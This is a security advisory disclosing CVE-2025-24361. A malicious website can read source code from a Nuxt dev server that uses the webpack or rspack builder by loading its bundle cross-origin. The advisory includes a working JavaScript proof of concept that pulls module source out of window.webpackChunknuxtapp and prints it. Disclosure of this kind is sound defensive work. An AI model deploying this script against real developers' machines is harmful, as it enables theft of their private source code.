CVE-2025-24361: Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxtapp, the attacker can get the source code.

PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run npm run dev 1. Open http://localhost:3000 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.

js const script = document.createElement('script') script.src = 'http://localhost:3000/nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxtapp) { const moduleList = window.webpackChunknuxtapp[page][1] console.log(moduleList)

for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script)

!image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.